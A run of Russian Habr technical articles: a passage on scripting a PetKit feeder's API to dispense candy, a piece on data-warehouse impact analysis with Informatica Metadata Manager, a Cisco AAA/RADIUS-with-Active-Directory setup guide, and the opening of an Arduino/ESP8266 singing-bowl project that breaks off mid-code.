Говорю без преувеличений: для выдачи вкусностей ничего лучше этого устройства не найдешь. Порция еды отмеряется при помощи аккуратненького механизма с силиконовым стержнем и силиконовыми лопастями, отделяющими нужное количество, которое и выпадает в лоток выдачи. Ловко придумано и для продуктов безопасно – они не крошатся и не портятся.
А это просто трогательно:
Прилагается шкала для измерения частиц еды; говорится, что размер должен быть менее 12 миллиметров. Но измерение и высыпание происходит примерно так:
поэтому даже если там все 12 миллиметров, может нормально пройти под углом. Я планирую поэкспериментировать с кусочками вяленого мяса и сырными шариками. Там гигроскопическая прокладка сверху, чтобы всё оставалось свежим… думаю, можно изощряться со спокойной душой.
На момент написания статьи такие кормушки стоили 70 $ за штуку, но работают они отлично и сделаны на совесть. Купить можно [здесь](https://amzn.to/3ecgCF7).
### Приложение
Приложение неплохое. Единственное, немного странно с ним работать, когда домашних животных у тебя нет… Пришлось назваться собакой и выбрать себе породу.
Зато после этого я смог воспользоваться API. После нескольких тестов приложения на предмет размера порции, я узнал, что половина оборота – это примерно десятая часть стакана, то есть в среднем пять конфет.
### Изыскания
Для ручного запуска кормления я использовал [Packet Capture](https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&hl=en_US&gl=US) для Android.
И нашел там вот такой запрос:
Палочки-выручалочки не обнаружилось, мне пришлось просмотреть несколько групп запросов, чтобы отыскать то, что требовалось. Но мы видим /latest/d4/saveDailyFeed в качестве конечной точки, а это существенная подсказка! Секция URLENCODED говорит нам, что amount, time и deviceId входят в URL… Значит, всё можно повторить локально! [В этой статье](https://www.sensibledefaults.io/blog/dont-scrape/index) мы с Энди описали, как это делается на десктопе.
### Код
Код можно найти [здесь](https://github.com/morganpartee/pyPetKit).
Я начал [с ответвления PyPetKit](https://github.com/geeks4hire/pyPetKit) авторства geeks4hire. Всё, что касается авторизации, там было уже сделано за меня, оставалось только добавить выход на API. Из упомянутого выше пакета я узнал, в какую конечную точку нужно метить, и добавил непримечательную функцию для отправки запросов к API в моё ответвление пакета:
```
def send_api_request(self, path, method="POST", params=None, json=None):
"""
Sends an API request.
"""
custom_headers = {
"X-Session": self._access_token,
"User-Agent": "PETKIT/7.26.1 (iPhone; iOS 14.7.1; Scale/3.00)",
"X-Timezone": f"{round(self._tzone._utcoffset.seconds/60/60)}.0",
"X-Api-Version": "7.26.1",
"X-Img-Version": "1",
"X-TimezoneId": self._tzone.zone,
"X-Client": "ios(14.7.1;iPhone13,4)",
"X-Locale": self._locale.replace("-", "_"),
}
return requests.request(
method,
self._apiServerBaseURL + path,
headers=custom_headers,
params=params,
json=json,
).json()
```
Выглядит сложно, но все заголовки скопированы у человека, который делал всё ровно то же самое, но на айфоне. Здесь используются запросы (requests.request) для создания HTTP-запроса произвольным методом. То есть то самое, что делает браузер, только на Python. В той статье про скрейпинг, о которой говорилось выше, мы разбираем это подробно – если есть возможность скопировать заголовки, это многое дает!
И вот, чтобы добраться до вожделенных конфет, только и нужно, что:
```
from pypetkit import PetKitAPI
from settings import (
API_USERNAME,
API_PASSWORD,
API_COUNTRY_CODE,
API_LOCALE_CODE,
API_TIMEZONE,
)
from pprint import pprint
petkit_api = PetKitAPI(
API_USERNAME, API_PASSWORD, API_COUNTRY_CODE, API_LOCALE_CODE, API_TIMEZONE
)
#! Sign in
petkit_api.request_token()
print(f"Authorized: {petkit_api.is_authorized}")
#! Send the actual feeding request
pprint(
petkit_api.send_api_request(
"d4/saveDailyFeed", params={"deviceId": 10019856, "amount": 10, "time": -1}
)
)
```
Мы задействовали реализацию авторизации из существующего кода и теперь посылаем запрос. Параметры соответствуют запросу, который мы обнаружили, когда вручную активировали кормушку из приложения. Я, конечно, попытался уменьшить размер порции, но, похоже, десять единиц – минимальное количество, которое может отмерить механизм. -1, кажется, запускает немедленную выдачу еды. В приложении можно задавать часы кормления, уверен, что и даты тоже.
Если всё работает как надо, выдача с run.py будет такой:
Затем негромкий писк и восхитительный звук конфет, падающих в (не заморачивайтесь, не так уж это и унизительно) миску.
### «Развертывание»
Развертывание – это, конечно, сильно сказано, но иначе не назовешь. Система работает локально, чтобы еда не поступала, когда меня нет дома. У меня есть Elgato Stream Deck, который я очень люблю, и с его помощью я создал горячую клавишу.
System:Hotkey отправляет Ctl+Enter, чтобы отослать коммит, когда я допишу. System:Open открывает python c://run.py и тем самым обеспечивает мне сладкое шоколадное подкрепление правильных программистских привычек.
Всё это абсолютно точно можно реализовать «лучше», но в облаках и всяком таком просто нет необходимости – это маленький проект чисто для смеха.
### В заключение
Огромное спасибо тем, кто провел обратную разработку в отношении этого агрегата до меня. Мне только и осталось, что найти конечную точку и создать запрос – проще простого. Не знаю, подстегнет ли это меня в самом деле писать больше кода, но у других я такого еще не видел и рад, что предпринял эту попытку. Она определенно подсластила мне решение проблем с непрерывной интеграцией.
### Примечание о безопасности
Как вы увидите, данные у этих продуктов отправляются простым текстом, что на сервер, что с сервера. Это очень сомнительно. Также они отправляют все сведения о местонахождении, что еще более сомнительно. Я бы посоветовал пользоваться этим приложением по минимуму и установить одноразовый пароль, на случай если произойдет утечка данных… а это рано или поздно вполне может случиться.
### Ссылки
[PETKIT Fresh Element Solo](https://amzn.to/3ecgCF7)
[Репозиторий на Github](https://github.com/morganpartee/pyPetKit)
[Packet Capture для Android](https://play.google.com/store/apps/details?id=app.greyshirts.sslcapture&hl=en_US&gl=US)
[Elgato Stream Deck](https://amzn.to/3CJsbwM)
[Миндаль в темном шоколаде с морской солью на Target](https://www.target.com/p/himalayan-salted-dark-chocolate-almonds-37oz-good-38-gather-8482/-/A-81418159) (серьезно, он обалденный) | https://habr.com/ru/post/693266/ | null | ru | null |
# Impact анализ на примере инфраструктуры корпоративного хранилища данных
В этой статье я хочу рассказать, как можно решать задачу impact анализа или анализа влияния в сложной, многоуровневой инфраструктуре корпоративного хранилища данных на примере нашего **DWH** в **Тинькофф Банке**.
Работая с DWH все наверняка задавались хоть раз вопросами:
* «Что будет, если поменять поле в таблице?»
* «На каких ETL процессах это скажется?»
* «Какие отчеты будут затронуты?»
* «Какие бизнес процессы могут пострадать?»
Ответить на этот вопрос как правило непросто, т.к. нужно просмотреть дюжину ETL процессов, потом залезть в BI инструмент, найти нужные отчеты, что-то держать в голове, помнить о том, что что-то там строится ручным кодом и всё это выливается в большую головную боль.
Даже самое порой безобидное изменение может сказаться, например, на отчете, который каждое утро приходит на почту к председателю правления банка. Немного утрирую, конечно:)
Далее в статье я расскажу, как и с помощью чего можно уменьшить головную боль и быстро проводить impact-анализ в инфраструктуре DWH.
DWH в Тинькофф Банке
====================
Прежде чем окунуться в impact-анализ, коротко опишу что из себя представляет наше DWH. По структуре наше хранилище более походит на Corporate Information Factory Билла Инмона. Есть много слоев обработки данных, группы целевых витрин и нормализованная модель представляют презентационный слой хранилища данных. Всё это работает на MPP СУБД [Greenplum](http://habrahabr.ru/company/tcsbank/blog/267733/). ETL процессы построения хранилища разработаны на [SAS Data Integration Studio](http://habrahabr.ru/company/tcsbank/blog/155763/). В качестве платформы отчетности в банке используется SAP Business Object. Перед хранилищем находится ODS, реализованный на СУБД Oracle. Из моей предыдущей [статьи](http://habrahabr.ru/company/tcsbank/blog/259173/) про DataLake в Тинькофф Банке известно, что ETL на Hadoop мы строим на Informatica Big Data Edition.
Анализ влияния
==============
Как правило, задача анализа влияния внутри одного enterprise инструмента решается несложно. Все инструменты обладают метаданными и функциональными возможностями работы с этими метаданными, такими как, например, получить список зависимых объектов от выбранного объекта.
Вся сложность анализа влияния возникает тогда, когда процесс выходит за рамки одного инструмента. Например, в DWH окружение состоит из СУБД источников, СУБД DWH, ETL, BI. Здесь что бы уменьшить головную боль, нужно уметь консолидировать метаданные из разных инструментов и строить зависимости между ними. Задача неновая и на рынке существуют промышленные системы для её решения.
Нам важно было, что бы такая система смогла построить для нас всё сложное дерево, а точнее граф наших метаданных, начиная от таблиц Oracle в ODS и заканчивая отчетами в SAP (см. Рис. 1).
*Рис. 1 Пример зависимостей метаданных из нескольких систем, на примере систем в Тинькофф Банке*
Система должна была провязать объекты Greenplum между собой, как и через джобы SAS, в которых таблицы Greenplum выступают как источники и приемники данных, так и просто связать таблицы со строящимися на них представлениями.
Мы выбрали [Informatica Metadata Manager](https://www.informatica.com/metadata-management.html) и успешно внедрили первые модели метаданных у себя, в Тинькофф Банке. Далее в статье я расскажу, как и что мы научились делать при помощи этого инструмента.
Informatica Metadata Manager
============================
Informatica Metadata Manager – это, по сути, большой репозиторий метаданных, который позволяет:
1. Моделировать метаданные, т.е. создавать модели метаданных, например, СУБД, ETL инструментов или даже бизнес приложений
2. На основе созданных или поставляемых в комплекте моделей создавать процессы загрузки/обновления метаданных у себя в репозитории
3. Создавать правила связывания между объектами метаданных как внутри модели, так между моделями
4. Создавать связи, которые нельзя подвести под правила, как и внутри модели, так и кроссмодельные
5. Работать в визуальном веб-интерфейсе с загруженными метаданными ваших систем
Модели Informatica Metadata Manager
===================================
Теперь по порядку и более детально про то, что может инструмент и как готовить Informatica Metadata Manager.
В коробке с Informatica Metadata Manager поставляется некоторый набор моделей, с которыми, если у вас куплена лицензия, можно начинать работать сразу после установки продукта.
*Рис. 2 Модели Informatica Metadata Manager*
На Рис. 2 те модели что не начинаются с префикса Tinkoff идут из коробки. Модель в терминах Informatica Metadata Manager – это набор классов, из которых построена определенная иерархия, которая отвечает структуре метаданных источника, т.е. некоторой информационной системы. Например, модель метаданных СУБД Oracle в Informatica Metadata Manager выглядит следующим образом, см. Рис. 3. Думаю, те кто работал с СУБД Oracle в этой иерархии увидят много знакомого, из того с чем привыкли работать.
*Рис. 3 Модель метаданных СУБД Oracle*
Модели метаданных СУБД Greenplum или SAS Data Integration Studio в Informatica Metadata Manager из коробки не предусмотрены и мы сами их спроектировали под наши задачи. Очень важно понимать, какие задача должна решать модель, когда вы начинаете работать с готовой моделью или проектируете свою. У нас получились простые модели (см. Рис. 4 и Рис. 5), но в тоже время эти модели отвечали нашим требованиям. А основное наше требование – это уметь строить lineage от таблиц ODS, которые находятся в Oracle, до отчетов, которые построены на universe-ах в SAP Business Objects.
*Рис. 4 Модель метаданных СУБД Greenplum*
*Рис. 5 Модель метаданных SAS Data Integration Studio*
Относительно модели метаданных SAP Business Objects возникла дилемма – использовать преднастроенную модель или разработать свою.
Готовая модель, а точнее первый её уровень иерархии выглядит так – см. Рис. 6.
*Рис. 6 Преднастроенная модель метаданных Business Objects*
Провели сравнение:
| Критерий | Преднастроенная модель | Своя модель |
| --- | --- | --- |
| Полнота модели | Избыточная | Оптимальная |
| Отвечает изначально сформулированным требованиям | Наверное, отвечает | Отвечает |
| Стоимость разработки загрузки/обновления метаданных | Бесплатно | Зависит от сложности модели и от знания структуры метаданных SAP Business Objects |
| Стоимость модели | Стоимость лицензии на metadata exchange options for SAP Business Objects | Бесплатно |
Один критерий не в пользу своей модели был факт сложности структуры метаданных SAP Business Objects. Но, у нас для аудита BI платформы используется сторонний продукт — [360eyes](http://www.gbandsmith.com/360suite), который мы и взяли за источник метаданных SAP Business Objects для Informatica Metadata Manager. Модель получилось очень простой, см. Рис. 7, которая отвечала нашим сформулированным требованиям.
*Рис. 7 Модель метаданных SAP Business Objects*
Обновление метаданных в Informatica Metadata Manager
====================================================
Модели созданы, теперь их надо наполнить метаданными. Модели, которые поставляются в коробке с Informatica Metadata Manager имеют свои преднастроенные загрузчики, которые уже знают, как извлечь, например, из словарей СУБД Oracle список таблиц и представлений. Для моделей метаданных, которые вы проектируете сами, загрузчик придется разработать самим. Но пугаться здесь не стоит, процесс довольно прозрачный, и напоминает разработку ETL процедуры по четко сформулированному ТЗ. На основе вами созданной модели Informatica Metadata Manager простой командой поможет вам создать шаблон загрузки и вот у вас готов набор CSV файлов которые надо наполнить метаданными вашей системы. Дальше всё зависит от вас и от того на сколько вы хорошо знаете и умеете работать с метаданными ваших систем. Кстати, процесс получение метаданных из ваших систем это, наверное, один из самых трудоемких шагов в построении всего процесса работы с метаданными в Informatica Metadata Manager.
Мы написали весь необходимый код, который собрал нам из pg\_catalog Greenplum, из метаданных SAS и из репозитория 360eyes данные для созданных шаблонов загрузки и запустили регулярный процесс. Для обновления метаданных Oracle, на котором у нас работает ODS, мы использовали преднастроенную модель (см. Рис. 3). Метаданные в Informatica Metadata Manager обновляются каждую ночь.
Правила связывания в Informatica Metadata Manager
=================================================
Метаданные систем регулярно обновляются в репозитории Informatica Metadata Manager, теперь надо связать объекты метаданных разных систем между собой. Для этого в Informatica Metadata Manager есть возможность написания правил (Rule Set), правила могут работать как внутри модели так и между моделями. Правила из себя представляют XML файл несложной структуры:
```
xml version="1.0" encoding="UTF-8"?
```
Приведенное правильно говорит о том, что нужно построить связь внутри модели SAPBOBJ между объектами класса «Universe» и объектами класса «Report Universe» по условию равенства их наименования.
Бывают ситуации, что объекты метаданных нужно связать между собой, но правило под эту связь разработать не получается. Простой пример: Представление «A» построено на таблице «B» и «С». Для таких ситуаций в Informatica Metadata Manager есть возможность подгружать дополнительные связи, так называемые Enumerated Links. Enumerated Links представляет из себя CSV файл, в котором прописываются полные пути уже в репозитории Informatica Metadata Manager к двум объектам метаданных, которые необходимо связать. При помощи Enumerated Links у нас строится связь между таблицами и представлениями Greenplum.
*Рис. 8 Свойства Enumerated Links*
*Рис. 9 CSV файл для загрузки Enumerated Links*
В данном случаем CSV файл Enumerated Links мы формируем сами также, как и сами метаданные для загрузки, на основе pg\_catalog. Через Enumerated Links мы связываем в модели Greenplum объекты класса «Table» с объектами класса «View». Связь формируем через указание полного пути к объекту метаданных уже в репозитории Informatica Metadata Manager.
Анализ влияния в Informatica Metadata Manager
=============================================
Что мы получили? Основное что мы получили это возможность строить lineage по всем объектам метаданных входящих в инфраструктуру нашего DWH, т.е. производить анализ влияния, по двум направлениями: Impact Upstream и Impact Downstream.
Например, хотим посмотреть, что зависит от таблицы ODS. Находим нужную нам таблицу, или в каталоге моделей, или при помощи поиска и запускаем на этой таблице lineage. Получаем такую красивую картинку, см. Рис. 10. Здесь мы видим, что от выбранной таблицы зависит ряд ETL процессов на SAS-е, а также два Universe-а и семь отчетов в SAP Business Objects.
*Рис. 10 Lineage от таблицы ODS*
В веб-интерфейсе можно раскрыть каждую область полученного lineage и от каждого объекта на диаграмме можно запустить linage прям из этого окна.
Или, например, хотим посмотреть данные каких таблиц участвуют в построении отчета. Находим нужный отчет и запускаем на нём lineage. Получаем следующую красивую картинку, см. Рис. 11. Здесь мы видим, что выбранный отчет строится на одном Universe, который использует таблицы Greenplum из четырех схем, которые в свою очередь наполняются из ODS и некоторыми ETL процессами на SAS.
*Рис. 11 Lineage от отчета в SAP Business Objects*
Каждый результат lineage можно экспортировать в Excel, который в полном объем отражает все зависимости от выбранного объекта метаданных.
Итоги и планы на будущее
========================
Готовить Informatica Metadata Manager мы научились. Дальше только работать, искать новые варианты его использования, реализовывать новые модели, подключать новых пользователей.
Какие новые модели хотим сделать:
1. Банковские системы источники
2. Informatica Big Data Edition
3. Hadoop (HDFS + Hive)
4. Flume
Каких пользователей подключили и планируем подключать:
1. Системных аналитиков DWH
2. Владельцев банковских систем источников
Развитие моделей:
1. Доработать нашу модель SAP Business Objects, добавить такие объекты метаданных, как меры и показатели
Из минусов, с которыми мы столкнулись, это долгое построении **полного** lineage (>10 минут) на объектах с большим количеством связей (>1000). В целом, Informatica Metadata Manager — очень гибкий, удобный в работе инструмент и, на наш взгляд, хорошо умеет решать свои задачи. | https://habr.com/ru/post/270373/ | null | ru | null |
# Аутентификация на сетевых устройствах CISCO средствами Active Directory
#### Интеграция CISCO AAA и Microsoft Active Directory
Наверняка многие системные администраторы рано или поздно сталкиваются с проблемой аутентификации на сетевых устройствах. Если руководствоваться best-practices, то учетные записи должны быть персонифицированными, пароли должны отвечать критериям устойчивости, время жизни паролей должно быть ограничено. Также не будем забывать о разграничении уровней доступа в соответствии с выполняемыми задачами и поддержке актуальности базы пользователей, связанной с изменениями в штате сотрудников. При соблюдении этих требований ведении базы пользователей на каждом устройстве становится трудоемкой и нетривиальной задачей, а на практике часто просто игнорируется, администраторы ограничиваются заданием паролей на физическую и виртуальную консоль и заданием пароля суперпользователя (enable). Логичным решением этой проблемы является ведение единой базы пользователей с контролем выдвигаемых к учетным записям требований. Если у нас есть **Active Directory**, почему бы не использовать его?
**Рис.1 Топология системы**
Все не так просто – устройства Cisco не предоставляют механизма для аутентификации средствами LDAP, коим является MS ActiveDirectory, напрямую. Для решения этой задачи CISCO в своих решениях предоставляет механизм **AAA(Authentication Authorization Accounting)**. Дабы не растягивать статью, за деталями отсылаю к первоисточнику [1], также вот неплохая статья описывает основные возможности [2]. Вкратце, клиент AAA отправляет ученые данные к серверу аутентификации, и основываясь на его ответе (либо отсутствии ответа) принимает решении об отказе или предоставлении запрашиваемого доступа.
В качестве сервера аутентификации AAA позволяет использовать RADIUS либо TACAS+ сервер. На первый взгляд по описанию возможностей предпочтительней TACAS+, но основной его недостаток в том, что это закрытое решение от CISCO и его реализация существует только для \*nix систем [3]. Протокол же RADIUS является открытым промышленным стандартом, для которого существует множество реализаций, в том числе и встроенная в Windows Server 2000/2003 служба **IAS (Internet Authentication Service)**. В Windows Server 2008 вместо службы IAS поставляется служба Network Policy Server [4].
#### Топология
Система аутентификации сетевых устройств Cisco средствами LDAP домена Active Directory в простейшем случае имеет топологию изображенную на рисунке 1. Администратор со своего рабочего места подключается к виртуальному терминалу сетевого устройства. Согласно настроенным политикам ААА, устройство запрашивает логин и пароль, после чего передает логин и хеш пароля RADIUS серверу. RADIUS сервер средствами Active Directory аутентифицирует пользователя и проверяет, является ли он членом административной группы. Если пользователь успешно прошел аутентификацию, сетевое устройство Cisco получает от RADIUS сервера подтверждение об успешном прохождении аутентификации и авторизации, и разрешает пользователю подключение, в противном случае сообщает о неуспешной аутентификации и закрывает соединение.
Аутентификация пользователей на сетевом оборудовании будет происходить средствами ActiveDirectory посредством RADIUS, авторизация доступа — на основе принадлежности к одной из двух групп, соответственно разрешающих непривилегированный (User exec mode) и привилегированный (Privilege exec mode) доступ к устройству. В дальнейшем, можно разделить доступ по ролям, сконфигурировав на устройствах профили с разрешением запускать необходимые команды и связав каждый профиль с соответствующей группой AD.
#### Настройка MS ActiveDirectory
Предполагаем, что политики безопасности для длины, сложности паролей, времени их жизни и пр. уже внедрены. И так, для начала создадим две группы безопасности (Security group) **gsgrCiscoUserEXEC** и **gsgrCiscoPrivEXEC**:
Теперь создадим учетные записи администраторов **PetrovI** и **IvanovP**, сделав их членами групп **gsgrCiscoUserEXEC** и **gsgrCiscoPrivEXEC** соответственно. Таким образом видим что **PetrovI** будет непривилигированным пользователем, а **IvanovP** — привилегированным.
На этом с AD все.
#### Настройка MS Internet Authentication Service
Если на сервере еще не установлена служба IAS, то ее необходимо установить. Для этого необходимо в панели управления выбрать “Add/remove programs” -> “Add/remove Windows components”, выбрать пункт “Network Services”, нажать кнопку Details (Дополнительно), выбрать пункт “Internet Information Service (IIS)” и еще раз нажать Details (Дополнительно), выбрать Internet Authentication Service.
Открываем оснастку Internet Authentication Service и создаем новую политику удаленного доступа (Remote Access Policies -> RClick -> New Remote Access Policy) с названием CiscoAAA\_AD. В открывшемся окне Select Attribute выбираем Authentication Type и добавляем CHAP,
критерий – принадлежность пользователей к ранее созданной группе **gsgrCiscoUserEXEC**. Выбираем пункт Windows-Groups, добавляем **gsgrCiscoUserEXEC**.
И самое главное – выбираем атрибут **“Service-Type” = Login** для пользовательского и **Administrative** – для привилегированного доступа:
**Рис.2. Выбираем атрибут Service Type**
В завершение мастера, выбираем пункт “Grant remote access permission”
Теперь необходимо создать учетные записи для устройств, к которым будет выдаваться доступ. Для этого в оснастке **IAS** выбираем пункт **RADIUS Clients -> RClick -> New RADIUS Client**,
**Рис.3. Создаем учетную запись устройства**
в появившемся окне вводим дружественное имя, например Switch1 и IP адрес устройства, жмем Next, выбираем **“Client-Vendor” = “Cisco”**, вводим ключ для аутентификации RADIUS сервера и клиента (рис. 4).
**Рис. 4. Данные для аутентификации RADUIS сесии**
Настройка со стороны IAS завершена, переходим к настройке сетевых устройств.
#### Настройка сетевого устройства Cisco на примере коммутатора Catalyst 2960
`!включаем шифрование паролей
service password-encryption
!задаем пароль для привилегированного режима
enable secret *******
!!! ВНИМАНИЕ!!!
! AAA работает таким образом, что если не получен ответ от сервера, клиент
! предполагает аутентификацию неуспешной
! Обязательно создаем локального пользователя на случай
! если RADIUS сервер недоступен по какой-либо причине,
! печатаем на листике, заворачиваем в конверт и прячем в сейф.
username recover password *********
! Включаем ААА
aaa new-model
!Необязательно. Баннер о том, что это закрытая система и делать здесь нечего
aaa authentication banner ^ Access only for persons explicitly authorized. All rights reserved.
^
!Сообщение на случай неуспешной аутентификации. Полезно при отладке
aaa authentication fail-message ^ Authentication failed
^
!Создаем профиль аутентификации
!Не забываем как резервный указать локальный способ аутентификации
aaa authentication login login-RADIUS group radius local
!Создаем профиль авторизации.
aaa authorization exec auth-RADIUS-exec group radius local
!По умолчанию клиент ААА трижды пытается авторизоваться через RADIUS.
!Дабы не блокировать учетные записи в AD, ставим 1 попытку
radius-server retransmit 1
!Указываем наш RADUIS сервер
radius-server host 10.0.0.2
!Задаем ключ для шифрования
radius-server key SupErkEy
!
! Включаем созданные профили для виртуальных консолей
line vty 0 15
exec-timeout 15 0
login authentication login-RADIUS
authorization exec auth-RADIUS-exec
timeout login response 180
no password`
Настройка завершена, перехолим к тестированию.
#### Проверяем работу
**Рис. 5. Проверка работы**
#### Отладка
Не всегда все идет хорошо. На этот случай следует воспользоваться командами отладки Cisco IOS:
**`# debug radius events
# debug aaa authentication
# debug aaa authorization
# debug aaa protocols
# debug radius [authentication | elog | verbose]`**
А так же не забываем смотреть в Event log AD и IAS.
#### Заключение
Таким образом, потратив некоторое время на централизацию учетных записей, мы сэкономим много времени в будущем и уменьшим риск компрометации учетных записей. В случае ошибки администратора будет легко выявить виновника по его учетным данным, а так же разграничить права доступа к устройствам, ограничив администраторов в правах согласно их обязанностям
#### Источники
1) [Authentication, Authorization, and Accounting Overview [http://www.cisco.com/en/US/products/ps6638/products\_data\_sheet09186a00804fe332.html]](http://www.cisco.com/en/US/products/ps6638/products_data_sheet09186a00804fe332.html)
2) [Настройка AAA на CISCO — краткий обзор [http://faq-cisco.ru/index.php?option=com\_content&task=view&id=26&Itemid=30]](http://faq-cisco.ru/index.php?option=com_content&task=view&id=26&Itemid=30)
3) [Remote Authentication Dial In User Service (RADIUS) [http://en.wikipedia.org/wiki/RADIUS]](http://en.wikipedia.org/wiki/RADIUS)
4) [Understanding the new Windows Server 2008 Network Policy Server http://www.windowsnetworking.com/articles\_tutorials/Understanding-new-Windows-Server-2008-Network-Policy-Server.html]](http://www.windowsnetworking.com/articles_tutorials/Understanding-new-Windows-Server-2008-Network-Policy-Server.html) | https://habr.com/ru/post/135419/ | null | ru | null |
# Автоматизация тибетских поющих чаш с помощью «Ардуино». Шаговый двигатель вместо монаха. Беспроводное программирование
**И ПЕРЕДАЧА ~~БОЖЕСТВЕННОЙ ВОЛИ~~ СИГНАЛОВ ТОЧНОГО ВРЕМЕНИ ЧЕРЕЗ ESP8266.
ЧАСТЬ ЧЕТВЕРТАЯ**
Так уж всё совпало. Сначала я увидел статью на «Гиктаймс» про шторы управляемые шаговым двигателем. Вспомнил, что такой же двигатель валяется у меня без дела второй год. Затем взгляд мой упал на поющую [чашу](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%8E%D1%89%D0%B8%D0%B5_%D1%87%D0%B0%D1%88%D0%B8), которая пылилась на полке уже лет пять. А затем в голову начали приходить разные умные мысли…
Нет, конечно иногда по настроению, я брал сию чашу в руки и некоторое время извлекал из нее разного рода чарующие звуки, но это было не совсем-то чего мне хотелось. А хотелось мне чем-то заниматься параллельно, а чаша пусть бы в это время звучала сама. Понятно что тысячу лет назад на это потребовался бы отдельный ~~раб~~ человек, лет триста назад — хитроумный заводной механизм, а сейчас… Ну, а сейчас у нас есть и шаговый двигатель и плата «Arduino ProMini» и прочая ~~не~~замысловатая электроника. Осталось только немного по~~быдло~~кодить. И заодно сделать так, чтобы чаша эта тибетская заодно отбивала точное время — зря, что ли наплодили столько серверов точного времени. А с ними пусть общается ESP8266, она это умеет.
Итак…
Есть поющая чаша с колотушкой.
Надо сделать так чтобы колотушка била о край чаши. Автоматически. Также с возможностью удаленного управления (и перепрограммирования!). И чтобы просто отбивала время как старинные часы, но с современной точностью.
Забегая вперед, покажу, что в итоге получилось. Смотреть лучше со звуком.
Но начнём по порядку. Сначала мне надо было понять, как будет выглядеть и работать механика. За электронику и программное обеспечение я был спокоен — позади [три статьи](https://habr.com/users/tarson/posts/) про то, как управляться с ардуинками на расстоянии.
Главным движущимся элементом должен был стать простенький шаговый двигатель 28YBJ-48 и мне надо было понять, сможет ли он справиться с колотушкой.
Само подключение двигуна к ардуинке труда не представляет, благо, что продавался он с готовым драйвером ULN2003. Надо было только обеспечить отдельное питание на 5 вольт и запасом на 200-300 мА, потому как преобразователя на самой ардуинке вам однозначно не хватит. Потом по любым четырем цифровым портам (я взял PB1, PB2, PB3, PB4) передаем следующие битовые тетрады в количестве восьми штук.
```
PORTB=0b00000010;//четыре старших бита не используются
PORTB=0b00000110;
PORTB=0b00000100;
PORTB=0b00001100;
PORTB=0b00001000;
PORTB=0b00011000;
PORTB=0b00010000;
PORTB=0b00010010;
```
Для вращения в противоположном направлении передаем эти же тетрады, но в обратном порядке.
```
PORTB=0b00010010;
PORTB=0b00010000;
PORTB=0b00011000;
PORTB=0b00001000;
PORTB=0b00001100;
PORTB=0b00000100;
PORTB=0b00000110;
PORTB=0b00000010;
```
Единственное, возникает вопрос, с какой скоростью передавать данные. Понятно, что чем чаще, тем быстрее будет вращаться вал двигателя, но до какого предела? В описании есть загадочная частота 100 Гц, но что именно она подразумевает — период полного цикла или каждый полубайт отдельно?
В процессе экспериментов выяснилось, что видимо, имелась в виду частота смены именно тетрад. Максимально мне удалось разогнать эту частоту до 147 Гц, при которой вал двигателя делал оборот примерно за секунду или две. Точно не измерял, но можете судить сами, что особой резвостью данная модель с данным редуктором не отличается. Но для моей колотушки, вроде, в принципе, подходила.
Но ведь нам важна не только скорость (вернее, даже не очень важна) сколько сила, с которой двигатель может воздействовать на рабочее тело. В постах посвященных этому движку утверждалось, что мол, рукой не остановишь. Как выяснилось, сам вал, да, не остановишь, но уже небольшой рычаг (а я решил использовать рычажную систему) длиной буквально 10 см, останавливается и очень просто буксует даже при небольшом местном воздействии.
Поэтому первоначальный самый простой вариант, когда рычаг прикрученный к валу толкает колотушку на подвесе, которая соответственно колотит по чаше, не прошёл. Звук был слишком слабый. Поэтому я решил призвать на помощь гравитацию (ту самую «бессердечную суку» по выражению Шелдона Купера). В этом варианте рычаг тянул за собой колотушку до угла примерно в 30 градусов относительно направления к центру Земли, а затем расцеплялся с ней и отправлял в путь до чаши. Получивший звук очень понравился, как мне, так и моим соседям снизу. Механизм расцепления был сделан на магните, установленном на конце рычага. По мере подъема сила тяжести побеждала магнитную и замок расцеплялся. Потом я сделал помогающий механический ограничитель — поперечную планку, с которой колотушка встречалась вблизи крайней точки подъема. Двигатель же продолжал вращение, рычаг тянул и принудительно расцеплял магнитный замок. Здесь движку помогала гравитация, поэтому усилие для расцепления требовалось совсем небольшое.
Сама конструкция была собрана на базе деталек детского конструктора «Эйфелева башня». Его я купил уже давно и периодически пользовался его детальками для своих поделок. Башня, конечно, получилась не Эйфелева, но на мой взгляд отнюдь не хуже:)
**Почти Эйфелева Башня**
Всё заработало прекрасно, но с единственным минусом — звук был всегда одной и то же силы. Для отбития времени это нормально, но в свободном режиме хотелось бы слышать не только разные по времени паузы, но и разные по силе звуки. Поэтому пришлось применить электромагнит, тоже завалявшийся весьма кстати. Обычные магниты тоже пригодились — столбик из пяти мелких магнитов я использовал как демпфер укрощающий колебания колотушки после удара о чашу.
Сначала я установил его на конец рычага, но конструкция оказалась громоздкой хлипкой и ненадёжной. Поэтому электромагнит переехал на колотушку. Потреблял он примерно 300 мА и естественно, управлять им от порта ардуино было невозможно. Пришлось на небольшой макетке разместить простой транзисторный ключ.
R1 – 560 Ом, VD1 – 1N4007, VT1 – BD139
Главную электронную часть я собрал на «Arduino ProMini» и модуле ESP8266-07, прошивку которого я выполнил полностью шаг за шагом по моей [старой статье](https://habr.com/post/407485/). В итоге, у меня, как обычно, появилась возможность программировать ардуинку по беспроводному каналу и также удаленно с ней общаться, обмениваясь данными, чем я в итоге успешно и воспользовался. На схеме изображена, правда, «Arduino Nano» по историческим причинам, но подключение её ничем не отличается.
Итак, что же я возжелал и затем воплотил в программном коде.
1. При включении система должна самостоятельно перейти в режим часов.
2. На компьютере (смартфоне) должно быть приложение для изменения режимов работы и передачи необходимых данных.
3. Режимы должны быть несложные — часы, случайное бумканье и ручное управление.
Начал я, как казалось, с самого простого — часов. Действительно, любой начинающий радиолюбитель собирает первым делом сначала пробник, а потом электронные часы. А затем, правда, удивляется, почему эти часы отстают на минуту в час — он же вроде бы теоретически всё правильно рассчитал.
Собранные электронные часы у меня уже были.
И главной их фишкой пригодившейся мне сейчас, было их умение таскать точное время с NTP серверов при помощи той же самой микросхемки ESP8266, в лице самой первой и простой ее инкарнации.
Я даже хотел запилить статью на эту тему пару лет назад, но, посмотрев, сколько раз это уже делалось, передумал. Засмеют ведь. А вот в контексте данного поста разбор их работы вполне уместен. Как я уже упоминал ранее в статьях, программки для ESP8266 я пишу на языке LUA. Так получилось.
**Поэтому код загруженный в тот модуль ESP был таким.**
```
uart.setup(0,9600,8,0,1,0)
timezone = 3 -- москва
tmr.alarm(1,5000,0,function() -- try once connect to NTP-server
sk=net.createUDPSocket()
